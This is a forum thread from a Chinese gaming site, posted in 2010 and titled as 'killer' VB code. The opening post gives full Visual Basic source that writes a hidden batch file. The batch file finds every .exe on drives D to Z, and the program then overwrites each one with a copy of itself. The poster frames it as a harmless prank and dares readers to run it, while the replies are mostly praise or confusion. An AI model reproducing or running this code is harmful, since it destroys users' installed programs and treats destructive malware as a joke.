您好，欢迎来中华游戏网！请登录立即注册
一键打卡 每日打卡 龙鳞魔堡 金豆锻造 荣誉胸章 海底寻宝 非诚勿扰 虚拟刮奖 杂货道具 好友印象 心情随笔 中华银行 家族部落 积分兑换 图片上传 在线查毒
发表新帖 回帖
返回列表
第一页12尾页页码:1/2
No.81013
👦 十方破沙羅
登录解锁详细资料
  
[道具][正序][只看他][屏蔽签名|屏蔽头像]

一段要人命的vb代码

本贴由: 中华游戏网 会员: 十方破沙羅 发表于: 2010-09-13 03:00 共31431人围观 13人回复

             -----------------------------------------------声明---------------------------------------------------------------
如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next '容错句
If Dir("c:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 '打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据
Close #1 '关闭文件
Sleep 200 '延时200秒等待文件生成（主要为了慢机器）
Shell "c:\a.bat", 0 '隐藏运行之
End If
Sleep 60000 '延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 '读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉
Next
End Sub



PS:
其实我也不懂编代码..
不过这个嘛...我只能说...人生在世.害人二字....
虽然是这样说..但至少不会让你重装系统..
玩玩而已的东西...
中华游戏网 cnyouw
CNYOUW.CNSIGNATURE
评分选定 举报 🪜楼主 
回复 引用
No.837088
👹 fenger_yan
登录解锁详细资料
  
🕘时间: 2013-08-09 [只看他][屏蔽签名|屏蔽头像]
楼主你太有才了！[懒人回复]
CNYOUW.CNSIGNATURE
中华游戏网 — 玩你所玩，乐你所乐！cnyouw.cn
评分选定 举报 🪜宅13楼 
回复 引用 评分
No.834296
👹 很安静
登录解锁详细资料
  
🕘时间: 2013-07-24 [只看他][屏蔽签名|屏蔽头像]
楼主你太有才了！[懒人回复]
CNYOUW.CNSIGNATURE
铸造一个强悍的内心世界 容下需要的一切
评分选定 举报 🪜腐12楼 
回复 引用 评分
No.59391
👹 764454923
登录解锁详细资料
  
🕘时间: 2011-01-15 [只看他][屏蔽签名|屏蔽头像]
看不懂
CNYOUW.CNSIGNATURE
中华游戏网 — 玩你所玩，乐你所乐！cnyouw.cn
评分选定 举报 🪜宅11楼 
回复 引用 评分
No.277668
👦 明焕
登录解锁详细资料
  
🕘时间: 2010-11-17 [只看他][屏蔽签名|屏蔽头像]
在下在虚拟机中没有试出结果，，语言技术不行，也没有看出什么作用
CNYOUW.CNSIGNATURE
就在这里的博客
评分选定 举报 🪜腐10楼 
回复 引用 评分
No.238858
👹 wang0899
登录解锁详细资料
  
🕘时间: 2010-10-06 [只看他][屏蔽签名|屏蔽头像]
顶一个,谢谢分享,学习了!
CNYOUW.CNSIGNATURE
中华游戏网 — 玩你所玩，乐你所乐！cnyouw.cn
评分选定 举报 🪜宅9楼 
回复 引用 评分
No.81013
👦 十方破沙羅
登录解锁详细资料
  
🕘时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
回 7楼(被游街の神) 的帖子
我只能说..这段代码不会造成文件损坏..不会让你重装系统..
你敢做勇敢的小白鼠吗?

另外..为什么总要在我名字前面加上YD二字呢?其实我很单纯的...
CNYOUW.CNSIGNATURE
评分选定 举报 🪜腐8楼 
回复 引用 评分
No.68139
👦 飞翔の卡米
登录解锁详细资料
  
🕘时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
YD的十方，你自己试过没
CNYOUW.CNSIGNATURE
评分选定 举报 🪜宅7楼 
回复 引用 评分
No.35036
👦 流星落
登录解锁详细资料
  
🕘时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
话说恶搞的VB代码我只会写自动关机的
没学VB编程
CNYOUW.CNSIGNATURE
评分选定 举报 🪜腐6楼 
回复 引用 评分
No.216231
👧 qinchoudaoti
登录解锁详细资料
  
🕘时间: 2010-09-13 [只看他][屏蔽签名|屏蔽头像]
看不懂，要不你再给来个讲解吧
CNYOUW.CNSIGNATURE
开心每一天
评分选定 举报 🪜宅5楼 
回复 引用 评分
第一页12尾页页码:1/2
发表新帖 回帖
 中华游戏网 » 电脑技术交流
快速回复
进入高级模式[可上传附件]
验证问题:
我们网站的域名是什么？ 正确答案:

Ctrl + Enter 快速发布
🤪为防止个别新生恶意灌水
注册会员发帖量达到 50 贴
即可解锁快捷表情发送
中华游戏网首班列车驶于2006年8月1号，已行驶 天 小时 分 秒